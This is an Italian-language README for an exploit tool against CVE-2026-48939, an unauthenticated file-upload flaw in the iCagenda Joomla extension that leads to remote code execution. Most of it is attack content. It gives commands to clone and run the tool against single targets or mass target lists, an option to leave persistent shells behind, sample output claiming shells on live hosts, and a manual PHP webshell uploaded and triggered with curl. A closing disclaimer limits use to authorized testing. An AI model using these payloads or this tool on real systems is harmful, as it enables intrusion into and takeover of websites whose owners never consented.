
Pre-auth exploit RCE con caricamento file arbitrario per l'estensione iCagenda Joomla < 4.0.8 (CVSS 10.0)
CVE-2026-48939 è una vulnerabilità critica con CVSS 10.0 nell'estensione iCagenda events calendar per Joomla. La funzionalità di allegato file del modulo di registrazione eventi frontend applica controlli di accesso solo a livello di vista — non al controller — consentendo il caricamento di file non autenticato senza alcuna convalida dell'estensione.
I file caricati finiscono direttamente nella directory web root in /images/icagenda/frontend/attachments/ e sono immediatamente eseguibili come PHP.
| Versione iCagenda | Stato |
|---|---|
| 3.2.1 – 3.9.14 | Vulnerabile |
| 4.0.0 – 4.0.7 | Vulnerabile |
| 3.9.15 / 4.0.8+ | Corretta |
Il controller registration.submit elabora i caricamenti di file senza imporre la restrizione di accesso "Solo registrati" configurata nelle impostazioni del componente. Gli allegati file vengono scritti con la loro estensione originale senza alcuna lista consentita, controllo MIME o convalida del contenuto.
View Layer → "Solo registrati" applicato (tenta di bloccare)
Controller → Nessun controllo di autenticazione (bypassato facilmente con POST)
Gestore file → Nessuna whitelist di estensioni, nessun controllo MIME, nessuna scansione del contenuto
Destinazione → Directory accessibile via web → PHP eseguito direttamente
POST /index.php?option=com_icagenda&task=registration.submit
jform[attachment] = shell.php → saved to /images/icagenda/frontend/attachments/
GET /images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id
→ PHP executed → RCE
git clone https://github.com/shinthink/CVE-2026-48939.git
cd CVE-2026-48939
pip install -r requirements.txt
# Single target
python cve_2026_48939.py -t target.com
# Mass exploit
python cve_2026_48939.py -f targets.txt
# Persistent shell (no cleanup)
python cve_2026_48939.py -t target.com --no-cleanup
# Save results
python cve_2026_48939.py -f targets.txt -o rce.txt
-t, --target Singolo target (dominio o IP)
-f, --file Lista di target, uno per riga
-o, --output Salva i risultati RCE in un file
--threads Lavoratori concorrenti (default: 25)
--no-cleanup Lascia le shell sul target
-v, --verbose Mostra output dettagliato
$ python cve_2026_48939.py -t target.com -v
CVE-2026-48939 — iCagenda Joomla RCE Exploit
CVSS 10.0 | Pre-Auth | File Upload → RCE
[+] POST registration.submit (jform[attachment]): HTTP 200
[+] Shell: https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
Host : target.com
iCagenda : YES v4.0.5
Vuln : YES
RCE : YES
Shell : https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
Output : uid=1001(www-data) gid=1001(www-data) groups=1001(www-data)
Time : 3.2s
CVE-2026-48939 iCagenda RCE Exploit
Targets: 500 | Threads: 25 | Cleanup: ON
-------------------------------------------------------
[RCE] target-1.com v4.0.5 3.2s
uid=1001(www-data) gid=1001(www-data)
[RCE] target-2.com v3.9.12 4.1s
uid=33(www-data) gid=33(www-data)
-------------------------------------------------------
Total: 500 | iCagenda: 23 | RCE: 8
-------------------------------------------------------
Passo 1 — Carica webshell PHP
cat > shell.php << 'EOF'
<?php echo "OK|".php_uname(); system($_GET["c"]); ?>
EOF
curl -sk -X POST \
-F "title=Event" \
-F "jform[attachment][email protected];type=application/x-php" \
"https://target.com/index.php?option=com_icagenda&task=registration.submit"
Passo 2 — Esegui comandi
curl -sk "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?c=id"
SOLO PER SCOPI EDUCATIVI E TEST AUTORIZZATI.
Questo software è destinato a professionisti della sicurezza che conducono test di penetrazione autorizzati, organizzazioni che controllano la propria infrastruttura e ricercatori che studiano lo sfruttamento delle vulnerabilità.
L'accesso non autorizzato a sistemi informatici è illegale e può violare:
- Stati Uniti: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonesia: UU ITE Pasal 30 & 46
- Unione Europea: Direttiva 2013/40/UE
- Regno Unito: Computer Misuse Act 1990
Gli autori non si assumono alcuna responsabilità per l'uso improprio.
| Risorsa | Link |
|---|---|
| IONIX Advisory | ionix.io/threat-center/cve-2026-48939 |
| Voce NVD | CVE-2026-48939 |
| Changelog di iCagenda | icagenda.com/docs |
Questo progetto non è affiliato con iCagenda o Joomlic.